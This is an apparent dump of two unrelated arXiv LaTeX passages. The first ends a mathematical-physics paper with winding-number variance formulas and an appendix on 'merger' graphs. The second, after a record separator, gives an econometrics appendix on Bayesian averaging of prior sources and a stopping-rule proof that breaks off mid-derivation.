-2\sum_{k,j'\in C_l}\sum_{j=1}^{k-1}\sum_{k'=j'+1}^{N}\sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}A_{kj'} z^k_{j,r}\cdot z^{k'}_{j',r'}\nonumber\\
&+&\sum_{j,j'\in C_l}\sum_{k=j+1}^{N}\sum_{k'=j'+1}^{N}\sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}} A_{jj'}z^k_{j,r}\cdot z^{k'}_{j',r'}
\eea
where
\bea\label{Ak-first}
A_{kk'}=\min\left\{k+t^k_{j,r},\,k'+t^{k'}_{j',r'}\right\}-N_{l-1}-1,\nonumber\\
A_{kj'}=\min\left\{k+t^k_{j,r},\,j'+t^{k'}_{j',r'}\right\}-N_{l-1}-1,\nonumber\\
A_{jj'}=\min\left\{j+t^k_{j,r},\,j'+t^{k'}_{j',r'}\right\}-N_{l-1}-1.
\eea
To $A$ we added as subscripts only the two integers that run from $N_{l-1}+1$ to $N_l$; this is sufficient to distinguish the three cases. In the middle term the symmetry between $(j,k,r)$ and $(j',k',r')$ has been broken by contracting two equal sums.
Equation~(\ref{avZl^2}) corresponds to the second form of $\overline{Z^l_{^\cdot}}$ in Eq.~(\ref{intZqbis}). This latter can be used to compute
the difference $\overline{\left(Z^l_{^\cdot}\right)^2}-\overline{Z^l_{^\cdot}}^2$. Starting with (\ref{avZl^2}),
the replacements
\bea
A_{kk'} \to A_{kk'}- \frac{1}{n_l}(k+t^k_{j,r}-N_{l-1}-1)(k'+t^{k'}_{j',r'}-N_{l-1}-1)\nonumber\\
A_{kj'} \to A_{kj'}-\frac{1}{n_l}(k+t^k_{j,r}-N_{l-1}-1)(j'+t^{k'}_{j',r'}-N_{l-1}-1)\nonumber\\
A_{jj'} \to A_{jj'}-\frac{1}{n_l}(j+t^k_{j,r}-N_{l-1}-1)(j'+t^{k'}_{j',r'}-N_{l-1}-1)
\eea
give $n_l[\overline{\left(Z^l_{^\cdot}\right)^2}-\overline{Z^l_{^\cdot}}^2]$. Clearly, all the three differences are nonnegative. In some cases another form of $\overline{\left(Z^l_{^\cdot}\right)^2}$, the analogue of the first form of $\overline{Z^l_{^\cdot}}$, may be useful. It can be obtained from (\ref{avZl^2}) by cutting four sums into two: $\sum_{j=1}^{k-1}=\sum_{j=1}^{N_{l-1}}+\sum_{j=N_{l-1}+1}^{k-1}$, $\sum_{k=j+1}^{N}=\sum_{k=j+1}^{N_l}+\sum_{k=N_l+1}^{N}$,
and similar for the sums with respect to $j', k'$. This yields
\bea
n_l\overline{\left(Z^l_{^\cdot}\right)^2}
&=&
\left[\sum_{\{j<k\}\subset C_{l}}\ \sum_{\{j'<k'\}\subset C_l} \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}(A_{kj'k'}-A_{jj'k'})
\right.\nonumber\\
&+&\left.\sum_{j,j'=1}^{N_{l-1}}\sum_{k,k'\in C_l} \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}A_{kk'}
+\sum_{j,j'\in C_l}\sum_{k,k'=N_l+1}^N \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}A_{jj'}\right.
\nonumber\\
&+&\left.2\sum_{j=1}^{N_{l-1}}\sum_{k\in C_l}\sum_{\{j'<k'\}\subset C_l} \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}A_{kj'k'}
-2\sum_{j=1}^{N_{l-1}}\sum_{k,j'\in C_l}\sum_{k'=N_l+1}^N \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}} A_{kj'}\right.
\nonumber\\
&-&\left. 2\sum_{\{j<k\}\subset C_{l}}\sum_{j'\in C_l}\sum_{k'=N_l+1}^N \sum_{r=1}^{\alpha^k_j}\sum_{r'=1}^{\alpha^{k'}_{j'}}A_{j'jk}
\right]
z^k_{j,r}\cdot z^{k'}_{j',r'}.
\eea
All the sums extend to the scalar product. The explicit $l$-dependence drops from the differences
\bea
A_{kj'k'}=A_{kk'}-A_{kj'}&=&\left\{\begin{array}{lll}
k'-j'&\mbox{if}&k'< k\\
k'-j'+\min\{t^k_{j,r},t^{k'}_{j',r'}\}-t^{k'}_{j',r'}&\mbox{if}&k'=k\\
k-j'+t^k_{j,r}-t^{k'}_{j',r'}&\mbox{if}&j'< k<k'\\
t^k_{j,r}-\min\{t^k_{j,r},t^{k'}_{j',r'}\}&\mbox{if}&j'=k\\
0&\mbox{if}&k<j'
\end{array}\right.
\nonumber\\
A_{jj'k'}=A_{jk'}-A_{jj'}&=&\left\{\begin{array}{lll}
k'-j'&\mbox{if}&k'< j\\
k'-j'+\min\{t^k_{j,r},t^{k'}_{j',r'}\}-t^{k'}_{j',r'}&\mbox{if}&k'=j\\
j-j'+t^k_{j,r}-t^{k'}_{j',r'}&\mbox{if}&j'< j<k'\\
t^k_{j,r}-\min\{t^k_{j,r},t^{k'}_{j',r'}\}&\mbox{if}&j'=j\\
0&\mbox{if}&j<j'
\end{array}\right.
\nonumber\\
A_{j'jk}=A_{kj'}-A_{jj'}&=&\left\{\begin{array}{lll}
k-j&\mbox{if}&k< j'\\
k-j+\min\{t^k_{j,r},t^{k'}_{j',r'}\}-t^{k}_{j,r}&\mbox{if}&k=j'\\
j'-j+t^{k'}_{j',r'}-t^{k}_{j,r}&\mbox{if}&j< j'<k\\
t^{k'}_{j',r'}-\min\{t^k_{j,r},t^{k'}_{j',r'}\}&\mbox{if}&j=j'\\
0&\mbox{if}&j'<j.
\end{array}\right.
\eea
The reader can write down the explicit form of $A_{kj'k'}-A_{jj'k'}$ which falls into $5+5$ subcases ($j,k,r$ and $j',k',r'$ interchanged).
The last point to check is that the $m\to\infty$ limit could indeed be taken under the summation signs. The cycle-dependent part of the summand of $G_m\left[\{n_l\}_1^p\right]$,
\be
f_{\left[\{n_l\}_1^p\right]}\left(\{t^k_{j,,r}\}_{r=1}^{\alpha^k_j},\{z^k_{j,r}\}_{r=1}^{\alpha^k_j}\right)= \prod_{l=1}^p \delta_{Z^l_1,0}\exp\left\{-\frac{\pi n_l\lambda_\beta^2}{L^2}\left[\overline{\left(Z^l_{^\cdot}\right)^2}-\overline{Z^l_{^\cdot}}^2\right]\right\}\sum_{z\in\Zz^d} \exp\left\{-\frac{\pi n_l\lambda_\beta^2}{L^2}\left(z+\overline{Z^l_{^\cdot}}\right)^2\right\}
\ee
is bounded as
\be\label{fbound}
|f_{\left[\{n_l\}_1^p\right]}|\leq \prod_{l=1}^p \sum_{z\in\Zz^d} \exp\left\{-\frac{\pi n_l\lambda_\beta^2}{L^2}z^2\right\}.
\ee
In $G_m\left[\{n_l\}_1^p\right]$ for each pair $j<k$ we cut the sum $\sum_{\alpha^k_j=0}^m$ into two parts, as we did for $N=2$. Then, using (\ref{fbound}) the argument given for $N=2$ can be repeated. This concludes the proof of the Lemma.
\vspace{10pt}\noindent
{\bf Acknowledgements.} I am indebted to G\'abor Oszl\'anyi for his numerical analysis of the spectrum of the matrix $A$ appearing in Proposition \ref{spec(A)}. A correspondence with L\'aszl\'o Lov\'asz about the graph problem is gratefully acknowledged.
\newsec*{Appendix. Merger graphs}
We start with a class of graphs slightly different from the one presented under Remark \ref{constraint} but interesting of its own right. A graph of $s$ vertices and $S$ edges in this class corresponds to a system of $s$ homogeneous linear equations for $S$ variables, each appearing with coefficient 1, that has a solution in which all the variables take a nonzero value.
\begin{definition}
1. A (merger) generator is a circle of even length, two odd circles with a common vertex, or two odd circles joining through a vertex the opposite endpoints of a linear graph. 2. The generators are mergers; merging two mergers through one or more vertices and/or along one or more edges provides a merger. A graph composed of two disconnected mergers is a merger. 3. Given a merger, a set of generators whose merging provides the graph is called a covering. A covering is minimal if each of its elements contributes to the merger with at least one edge not covered by the other generators. A max-min covering is a minimal covering that contains the largest number of generators.
\end{definition}
As an example, the Petersen graph is a merger obtained by merging five "washtub" hexagons. The external edges are covered by three, the middle ones by two, the internal edges by one of the hexagons. Bipartite graphs, suitable subgraphs of the triangular lattice, complete graphs of more than three vertices are also mergers. The definition extends to multigraphs whose construction then involves also two-circles. In general the max-min covering is not unique, but the number of its constituting generators is uniquely determined because of the maximal property.
\begin{proposition}\label{merger1}
A graph is a merger if and only if to every edge one can assign a nonzero number in such a way that at every vertex the sum of the numbers assigned to the incident edges is zero. The numbers as variables form a manifold whose dimension is equal to the number of generators in the max-min coverings.
\end{proposition}
\noindent{\em Proof.} To mark the edges of a generator one can use a single and only a single variable denoted by $x_i$ for the $i$th generator of a merger. To the edges of a circle of length $2n$ one assigns $x_i$ and $-x_i$ in alternation. The same can be done with two odd circles sharing a vertex. In the case of two odd circles linked by a linear graph one assigns $x_i$ to those two edges of one of the circles that join the vertex of degree 3, and $-x_i$ and $x_i$ in alternation to the remaining edges of the same circle.
One then continues by alternating $-2x_i$ and $2x_i$ on the edges of the linear graph until reaching the second circle whose edges can again be marked by $x_i$ and $-x_i$ in a proper alternation. When merging, the generators carry their numbers. The number on a multiply covered edge is the sum of the numbers of the covering edges while one keeps the original number for the singly covered edges. Changing some $x_{i}$ in case of an accidental cancellation the sums on the edges are nonzero and the constraint remains satisfied. The number of free variables can be maximized by choosing a minimal covering that maximizes the number of generators.
In the opposite direction the proof goes by noting first that a graph does not contain any merger generator as a subgraph if and only if each of its maximal connected components is without circles or contains a single circle of odd length. The edges of such graphs cannot be marked in the required manner because either they have a vertex of degree 1 or they are unions of disjoint odd circles. Let $\cal G$ be any graph with properly marked edges. Thus, it has subgraphs which are merger generators. We can proceed by successive demerging. Let us choose a generator $g$ in $\cal G$ and select one of its edges denoted by $e$. Let $x$ be the number assigned to $e$. Prepare an image $g'$ of $g$ outside $\cal G$ and assign $-x$ to the image $e'$ of $e$. This uniquely determines the numbering of the other edges of $g'$ in such a way that the constraint is satisfied. Add the number on every edge of $g'$ to the number on its pre-image in $g$. As a result, the new number on $e$ is zero. Dropping all the edges from $\cal G$ whose new number is zero we obtain a new graph having at least one edge less than $\cal G$ while the total numbering still satisfies the constraint. In a finite number of steps we can empty $\cal G$ which is, therefore, a merger. $\Box$
Now we define the class of graphs that we need for this paper. The vertices of a graph in this class correspond to permutation cycles, its edges represent the nonzero $\alpha^k_j$ that allow the solution of all the equations $Z^l_1=0$, cf. (\ref{Z^l_1}), with all the variables taking a nonzero value.
Below we use the terms "merger" and "merger generator" in a different sense as before.
\begin{definition}
1. A (merger) generator is a circle of any (even or odd) length $n\geq 2$ with $n$ different positive integers assigned to the vertices in an arbitrary order. 2. The generators are mergers. Merging two mergers through all their vertices that carry the same number and optionally along some of the edges whose endpoints are common in the two mergers provides a merger. A graph composed of two disconnected mergers with disjoint vertex-numbering is a merger. 3. Given a merger, a set of generators whose merging provides the graph is called a covering. A covering is minimal if each of its element contributes to the merger with at least one edge not covered by the other generators. A max-min covering is a minimal covering that contains the largest number of generators.
\end{definition}
\begin{proposition}
A graph whose vertices $\{1,2,\dots\}$ carry different positive integers $l_1,l_2,\dots$ is a merger if and only if to every edge one can assign a nonzero vector in such a way that at any vertex $i$ the sum of the vectors on the incident edges $(i,j)$ taken with minus sign if $l_j<l_i$ and with plus sign if $l_j>l_i$, is zero. The vectors as variables form a manifold whose dimension is equal to the number of generators in the max-min coverings.
\end{proposition}
\noindent{\em Proof.} First let us see how to assign a vector to the edges of a generator. Let $l_i$ be the number carried by the $i$th vertex of a $n$-circle, where $i=1,\dots,n$ label the clockwise consecutive vertices. Let $x_{12}, x_{23},\dots,x_{n-1,n}, x_{n1}$ denote the $n$ edge variables that must assume a suitable value. The equation to be solved at vertex $i$ is one of
\[
(1)\ \ x_{i-1,i}+x_{i,i+1}=0\quad \mbox{if $l_{i-1},l_{i+1}>l_i$},\quad (2)\ \ -x_{i-1,i}+x_{i,i+1}=0\quad \mbox{if $l_{i-1}<l_i<l_{i+1}$},
\]
\[
(3)\ \ x_{i-1,i}-x_{i,i+1}=0\quad \mbox{if $l_{i-1}>l_i>l_{i+1}$},\quad (4)\ \ -x_{i-1,i}-x_{i,i+1}=0\quad \mbox{if $l_{i-1},l_{i+1}<l_i$}.
\]
It is seen that whatever be the choice of, say, $x_{12}$, the other variables must take the same value with plus or minus sign. So the solution, if any, is a one-dimensional manifold.
To be definite, let $l_1$ be the smallest number. Take an arbitrary nonzero vector $v$ and set $x_{12}=v$. The equation at vertex 1 is (1), it is solved with $x_{n1}=-v$. We must prove that going around the circle there is no "frustration", all the equations can be solved. Call $i$ a source if $l_i<l_{i-1},l_{i+1}$ and a sink if $l_i>l_{i-1},l_{i+1}$. It is helpful to imagine an arrow on every edge, pointing towards the larger-numbered vertex. The problem is soluble because the number of sinks equals the number of sources and there is at least one source. Passing a source $-v$ changes to $v$ while solving equation (1), stays $v$ until the next sink and solves equations of the type (2), passing the sink it changes to $-v$ while solving equation (4), stays $-v$ and solves equations of the type (3), and so on. The rest of the proof that the edges of a merger can be properly marked is the same as in Proposition~\ref{merger1}.
The proof in the opposite direction goes again by successive demerging provided we can show that no other vertex-numbered graph than those defined as mergers can be edge-marked in the required manner. Suppose there is such a finite graph. It must contain at least one circle, since linear graphs, tree graphs obviously cannot satisfy the condition at vertices of degree 1. Demerging successively all the circles, what remains is nonempty and cannot be marked -- a contradiction. $\Box$
As a matter of fact, the numbering can be dropped from the definition because the vertices of any merger of circular graphs can be marked {\em a posteriori} and in an arbitrary order with different $l_1,l_2,\dots$, still a proper assignment of nonzero vectors to the edges is possible.
\vspace{10pt}\noindent
{\bf Examples.} (1) A multigraph of two vertices and $n>1$ edges is a merger of $n-1$ 2-circles. Let $x_1,\dots,x_n$ be the edge variables. The general solution with nonzero vectors of $x_1+\cdots+x_n=0$, is $x_1=v_1$, $x_2=-v_1+v_2$,\dots, $x_{n-1}=-v_{n-2}+v_{n-1}$, $x_n=-v_{n-1}$, a $(n-1)$-dimensional manifold.
\noindent
(2) Consider the complete 4-graph of vertices 1, 2, 3, 4. A max-min covering is for example the three circles $(123)$, $(234)$ and $(134)$. If prior to merging
\begin{eqnarray*}
x_{12}=x,\quad x_{13}=-x,\quad x_{23}=x,\quad\mbox{for $(123)$}\\
x_{23}=y,\quad x_{24}=-y,\quad x_{34}=y\quad\mbox{for $(234)$}\\
x_{13}=z,\quad x_{14}=-z,\quad x_{34}=z\quad\mbox{for $(134)$}\\
\end{eqnarray*}
then after merging the edges of the tetrahedron will carry
\begin{equation*}
x_{12}=x,\quad x_{13}=-x+z,\quad x_{23}=x+y,\quad
x_{14}=-z,\quad x_{24}=-y,\quad x_{34}=y+z\\
\end{equation*}
which solve the four equations
\[
x_{12}+x_{13}+x_{14}=0,\quad -x_{12}+x_{23}+x_{24}=0,\quad -x_{13}-x_{23}+x_{34}=0,\quad -x_{14}-x_{24}-x_{34}=0.
\]
A covering which is minimal but not max-min is the two 4-circles $(1234)$, $(1243)$. Using them we would get only two independent variables. A covering which is not minimal is obtained by merging e.g. $(1234)$ to the above three triangles with a fourth variable $v$. This only changes $x$ to $x'=x+v$ and $z$ to $z'=z+v$ without increasing the number of free variables.
\begin{proposition}\label{max-min}
Let $\cal G$ be a simple merger graph of the second kind that has $S$ edges. Let $M$ be the number of generators in max-min coverings. Then $M\leq S/2$. If $\cal G$ can be generated by triangles then $M\geq S/3$.
\end{proposition}
\noindent{\em Proof.} $\cal G$ is generated by circles of length $\geq 3$. The largest number of generators in minimal coverings is obtained if each generator can be chosen to be a triangle which covers exclusively a single edge, while other two edges are shared with two other triangles. Let us call the shared edges half-covered by one of the triangles. Then each triangle covers $1+\frac{1}{2}+\frac{1}{2}=2$ edges, therefore $S/M=2$. Examples when $S/M=2$ is attained are the complete 4- and 5-graphs with $M=3$ and 5, respectively.
Any graph that can be covered by edge-disjoint triangles satisfies $3M=S$ and no triangle-generated graph can be covered by less than $S/3$ triangles. A nontrivial example with $S/M=3$ is the complete 7-graph. For a complete 6-graph $S/M=2\frac{1}{2}$, for a complete 8-graph $S/M=2\frac{6}{11}$. $\Box$
\vspace{10pt}
\noindent{\Large\bf References}
\begin{enumerate}
\item[{[F1]}] Feynman R. P.: {\em Space-time approach to non-relativistic quantum mechanics.} Rev. Mod. Phys. {\bf 20}, 367-387 (1948).
\item[{[F2]}] Feynman R. P.: {\em Atomic theory of the $\lambda$ transition in helium.} Phys. Rev. {\bf 91}, 1291-1301 (1953).
\item[{[G1]}] Ginibre J.: {\em Some applications of functional integration in Statistical Mechanics.} In: {\em Statistical Mechanics and Quantum Field Theory}, eds. C. De Witt and R. Stora. Gordon and Breach, New York (1971).
\item[{[G2]}] Ginibre J.: {\em Reduced density matrices of quantum gases. I. Limit of infinite volume.} J. Math. Phys. {\bf 6}, 238-251 (1965).
\item[{[G3]}] Ginibre J.: {\em Reduced density matrices of quantum gases. II. Cluster property.} J. Math. Phys. {\bf 6}, 252-262 (1965).
\item[{[G4]}] Ginibre J.: {\em Reduced density matrices of quantum gases. III. Hard-core potentials.} J. Math. Phys. {\bf 6}, 1432-1446 (1965).
\item[{[K1]}] Kac M.: {\em On distributions of certain Wiener functionals.} Trans. Amer. Math. Soc. {\bf 65}, 1-13 (1949).
\item[{[K2]}] Kac M.: {\em On some connections between probability theory and differential and integral equations.} In: Proceedings of the Second Berkeley Symposium on Probability and Statistics, J. Neyman ed., Berkeley, University of California Press (1951).
\item[{[LHB]}] L\H orinczi J., Hiroshima F., Betz V.: {\em Feynman-Kac-Type Theorems and Gibbs Measures on Path Space.} De Gruyter, Berlin/Boston (2011).
\end{enumerate}
\end{document}
|
1,477,468,750,065 | arxiv | \section{General Learning Model}
\label{app:General.Learning.Model}
Next we present a learning model for the joint distribution of potential outcomes, and we also show that the learning model presented in the text is a particular case of this more general learning model.
Formally, for each $x \in \mathbb{X}$, the PM has a family of PDFs indexed by a finite dimensional parameter $\boldsymbol{\theta} \in \boldsymbol{\Theta}$, $\mathcal{P}_{x} : = \{ p_{\boldsymbol{\theta}} \colon \boldsymbol{\theta} \in \boldsymbol{\Theta} \} \subseteq \Delta(\mathbb{R}^{M+1})$, that describes what she believes are plausible descriptions of the true joint probability of the potential outcome $(Y(d,x))_{d\in \mathbb{D}}$. For each $p_{\boldsymbol{\theta}} \in \mathcal{P}_{x}$, we use $p_{\boldsymbol{\theta},d}$ to denote the marginal PDF of $p_{\boldsymbol{\theta}}$ for $Y(d,x)$. Observe that each $p_{\boldsymbol{\theta}} \in \mathcal{P}_{x}$ induces a conditional PDF over the realized outcome $Y_{t}(x)=Y_{t}(D_{t}(x),x)$ given the treatment assignment $D_{t}(x)$:
\begin{align*}
p_{\boldsymbol{\theta}}(Y_{t}(x) \mid D_{t}(x) ) = p_{\boldsymbol{\theta},D_{t}(x)}(Y_{t}(x) ).
\end{align*}
Suppose the PM has $L+1$ prior beliefs regarding which elements of $\mathcal{P}_{x}$ are more likely; each of these prior beliefs summarize the prior knowledge obtained from the $L+1$ different sources; we use $(\mu^{o}_{0}(x))_{o=0}^{L}$ to denote such prior beliefs. By convention, we use $o=0$ to denote the PM's own prior and leave $o>0$ to denote the other sources.
For each $x \in \mathbb{X}$, the family $\mathcal{P}_{x}$ and the collection of prior beliefs gives rise to $L+1$ subjective Bayesian models for $P(.|x)$. Given the realized outcome $Y_{t}(x)=Y_{t}(D_{t}(x),x)$ and the treatment assignment $D_{t}(x)=d$, each of these models will produce with Bayesian updating, a posterior belief given by
\begin{align*}
\mu^{o}_{t}(x)(A) = \frac{ \int_{A} p_{\boldsymbol{\theta},d}(Y_{t}(x)) \mu^{o}_{t-1}(x)(d\boldsymbol{\theta}) }{ \int_{\boldsymbol{\Theta}} p_{\boldsymbol{\theta},d}(Y_{t}(x)) \mu^{o}_{t-1}(x)(d\boldsymbol{\theta}) }
\end{align*}
for any Borel set $A \subseteq \boldsymbol{\Theta}$. Observe that it is possible that the policymaker's subjective model imposes ``cross outcomes restrictions", meaning that the distribution of the different potential outcomes may have common components. Hence, in principle, the policymaker uses observations of $Y(d,x)$ to learn something about the distribution of $Y(d',x)$ with $d'\ne d$; we discuss this feature (or rather the lack of it) in the sub-section below.
Faced with $L+1$ distinct subjective Bayesian models, $\{ \langle \mathcal{P}_{x}, \mu^{o}_{0}(x) \rangle \}_{o=0}^{L} $, our PM has to somehow aggregate this information. There are many ways of doing this; we choose a particular one whereby, at each instance $t$, the PM averages the posterior beliefs of each model using as weights the posterior probability that model $o$ best fits the observed data within the class of models being considered,
i.e.,
$$\bar{\mu}_{t}(x)(A) : = \sum_{o=0}^{L} \alpha^{o}_{t}(x) \mu^{o}_{t}(x) (A)$$
for any Borel set $A \subseteq \boldsymbol{\Theta}$, where
\begin{align*}
\alpha^{o}_{t}(x) : = \frac{ \int \prod_{s=1}^{t} p_{\boldsymbol{\theta},D_{s}(x)}(Y_{s}(x) ) \mu^{o}_{0}(x) (d\boldsymbol{\theta}) }{ \sum_{o=0}^{L} \int \prod_{s=1}^{t} p_{\boldsymbol{\theta},D_{s}(x)} (Y_{s}(x)) \mu^{o}_{0}(x) (d\boldsymbol{\theta}) }.
\end{align*}
\subsection{A special Case: The model in the text}
One example of $\mathcal{P}_{x}$ that is of particular interest is one where $\boldsymbol{\Theta} = \prod_{d\in \mathbb{D}} \Theta$ and, for each $d \in \mathbb{D}$, $p_{\boldsymbol{\theta},d} = p_{\theta_{d},d}$ (i.e., it only depends on the $d$-th coordinate of $\boldsymbol{\theta}$; henceforth, we omit "d" from the $\theta_{d}$); and also, for each $o \in \{0,...,L\}$, $\mu^{o}_{0}(x) = \prod_{d\in \mathbb{D}} \mu^{o}_{0}(d,x)$. That is, each potential outcome has its own parameter and thus learning of each takes place individually and independently. Thus, there is no extrapolation, in the sense that having observed $Y_{t}(d,x)$ does not affect the beliefs about $Y_{t}(d',x)$ for any $d' \ne d$. To see this, the posterior for model $o$ at instance $t=1$ is given by
\begin{align*}
\int f(\boldsymbol{\theta}) \mu^{o}_{1}(x)(d\boldsymbol{\theta}) = & \int f(\boldsymbol{\theta}_{0},...,\boldsymbol{\theta}_{M}) \frac{ p_{\theta,d}(Y_{1}(x)) \mu^{o}_{0}(d,x)(d\theta) \prod_{d' \ne d} \mu^{o}_{0}(d',x)(d\theta) }{ \int_{\Theta} p_{\theta,d}(Y_{1}(x)) \mu^{o}_{0}(d,x)(d\theta ) }
\end{align*}
for any $f : \Theta \rightarrow \mathbb{R}$. Now suppose we are interested in the posterior for for $d' \ne d$; to do this we set $f(\boldsymbol{\theta}) = 1\{ \theta \in A \} $ for any $A \subseteq \Theta$ Borel. It is easy to see that
\begin{align*}
\mu^{o}_{1}(d',x)(A) = & \mu^{o}_{0}(d',x)(A) ,
\end{align*}
so the posterior is not updated. On the other hand, the posterior for $\theta$ is given by
\begin{align*}
\mu^{o}_{1}(d,x)(A) = & \int_{A} \frac{ p_{\theta,d}(Y_{1}(x)) \mu^{o}_{0}(d,x)(d\theta) }{ \int_{\Theta} p_{\theta,d}(Y_{1}(x)) \mu^{o}_{0}(d,x)(d\theta ) } .
\end{align*}
That is, the posterior is only updated if $D_{t}(x) = d$, which is analogous to the missing data problem featured in experiments under the frequentist approach. Moreover, the above expressions imply that $\mu^{o}_{1}(x) = \prod_{d\in \mathbb{D}} \mu^{o}_{1}(d,x)$.
A more succinct notation that captures these nuances is given by
\begin{align*}
\mu^{o}_{1}(d,x)(A) = & \int_{A} \frac{ p_{\theta,D_{1}(x)}(Y_{1}(x))^{1\{ D_{1}(x) = d \}} \mu^{o}_{0}(d,x)(d\theta) }{ \int_{\Theta} p_{\theta,D_{1}(x)}(Y_{1}(x))^{1\{ D_{1}(x) = d \}} \mu^{o}_{0}(d,x)(d\theta) }
\end{align*}
for any $d \in \mathbb{D}$ and any $A \subseteq \Theta$ Borel. Applying this recursively, it follows that
\begin{align*}
\mu^{o}_{t}(d,x)(A) = & \int_{A} \frac{ p_{\theta,D_{t}(x)}(Y_{t}(x))^{1\{ D_{t}(x) = d \}} \mu^{o}_{t-1}(d,x)(d\theta) }{ \int_{\Theta} p_{\theta,D_{t}(x)}(Y_{t}(x))^{1\{ D_{t}(x) = d \}} \mu^{o}_{t-1}(d,x)(d\theta ) }
\end{align*}
for any $t \geq 1$.
Setting $\mathcal{P}_{d,x} = \{ p_{\theta,d} : \theta \in \Theta \}$ --- and changing the notation from $p_{\theta,d} $ to $p_{\theta}$ --- it is easy to see that the previous recursion describes the Bayesian updated presented in the paper.
\section{Appendix for Section \ref{sec:PoM}}
\label{app:PoMM}
We now show Proposition \ref{pro:stopping.alpha}. To do this, for each $d \in \mathbb{D}$, we define $\eta^{\ast} : \mathbb{N} \times [0,1] \times \mathbb{R}_{+} \rightarrow \mathbb{R}_{+} \cup \{+ \infty \}$ as follows: For any $(t,\epsilon, \Delta) \in \mathbb{N} \times \mathbb{R}_{+} \times [0,1] \times \mathbb{R}_{+} $ and $\eta \geq 0$, if $F^{o}_{d}(t, \gamma_{t} , \eta , \epsilon ) \leq 0.5 \Delta$ for all $\eta$, then we choose $\eta^{\ast}_{d}( t , \epsilon , \Delta ) = + \infty$, otherwise\footnote{If the set in the "max" is empty, then we set $\eta^{\ast}(t, \epsilon,\Delta) = 0$.}
\begin{align*}
\eta^{\ast}_{d} (t , \epsilon , \Delta ) : = \max \left\{ \eta \colon \sum_{o=0}^{L} F^{o}_{d}(t, \gamma_{t} , \eta , \epsilon ) \leq 0.50 \Delta ~and~ \eta \leq 0.99 \epsilon \right\},
\end{align*}
where for each $o \in \{0,...,L\}$ and $d \in \mathbb{D}$, $F^{o}_{d} : \mathbb{N}\times \mathbb{R}_{+} \times \mathbb{R}_{+} \times [0,1] \rightarrow \mathbb{R}_{+}$ is defined as
\begin{align*}
& \max_{x \in [\epsilon,1]} \left\{ 1\{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \leq 0 \} \left( \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x + \eta + \nu^{o}_{0}(d)/t } \underline{\alpha}^{o}(\eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), x ) \right) \right. \\
& \left. + 1\{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) > 0 \} \left( \frac{ (-1)^{1\{ d = M \}} \bar{\zeta}_{0}^{o}(d) \nu_{0}^{o}(d)/t }{ x - \eta + \nu^{o}_{0}(d)/t } \overline{\alpha}^{o}( \eta, \gamma_{t} /(x - \eta) , | \bar{\zeta}_{0}(d) | , \nu_{0}(d), x ) \right) \right\}
\end{align*}
where $\overline{\alpha}^{o}$ and $\underline{\alpha}^{o}$ are defined in Lemma \ref{lem:alpha.bound}, and $(\gamma_{t})_{t}$ is as in the statement of Proposition \ref{pro:stopping.alpha}.
\begin{proof}[Proof of Proposition \ref{pro:stopping.alpha} ]
Recall that
\begin{align*}
\tau : = \min \left\{ t \geq B \colon \max_{d} \left\{ \min_{m \ne d} \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(m) - c_{t}(\gamma_{t},d,m) \right\} > 0 \right\} .
\end{align*}
Also, the probability of making a mistake associated to this stopping rule can be bounded by
\begin{align*}
\sum_{t=B}^{T} P_{\pi} \left( \max_{d \ne M} \sum_{o=0}^{L} \alpha^{o}_{t}(d) \zeta^{o}_{t}(d) - \sum_{o=0}^{L} \alpha^{o}_{t}(M) \zeta^{o}_{t}(M) > 0 \cap \tau = t \right),
\end{align*}
where $ \{ \max_{d \ne M} \sum_{o=0}^{L} \alpha^{o}_{t}(d) \zeta^{o}_{t}(d) - \sum_{o=0}^{L} \alpha^{o}_{t}(M) \zeta^{o}_{t}(M) > 0 \cap \tau = t \}$ is the event wherein the experiment is stopped at time $t$ but one choose a treatment that is not $M$ (recall that by construction, $M$ is the treatment with highest expected outcome).
The fact that $\tau = t$ implies that
\begin{align*}
\max_{d} \left\{ \min_{m \ne d} \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(m) - c_{t}(\gamma_{t},d,m) \right\} >0
\end{align*}
which in turn implies that
\begin{align*}
\max_{d} \left\{ \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} >0.
\end{align*}
Thus, the event $\{ \max_{d \ne M} \{ \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(M) \} > 0 \cap \tau = t \} $ implies
\begin{align*}
\{ \max_{d \ne M} \left\{ \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} >0 \} .
\end{align*}
Suppose the max is achieved by $d(t) \ne M$, then the above expression is equivalent to $\bar{\zeta}^{\alpha}_{t}(d(t)) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) > \theta(M) - \theta(d(t))$. Since $ \theta(M) - \theta(d(t)) \geq \Delta $ --- recall, $\Delta : = \min_{d} \theta(M) - \theta(d)$ ---, it follows that
\begin{align*}
\{ \max_{d \ne M} \left\{ \bar{\zeta}^{\alpha}_{t}(d) - \bar{\zeta}^{\alpha}_{t}(M) - c_{t}(\gamma_{t},d,M) \right\} > \Delta \} .
\end{align*}
Observe that
\begin{align*}
c_{t}(\gamma_{t},d,M) = : c_{t}(\gamma_{t},d)+c_{t}(\gamma_{t},M)
\end{align*}
where $(\gamma,d) \mapsto c_{t}(\gamma,d) : = \gamma \sum_{o=0}^{L} \frac{\alpha^{o}_{t}(d)} { f_{t}(d) + \nu^{o}_{0}(d)/t } $.
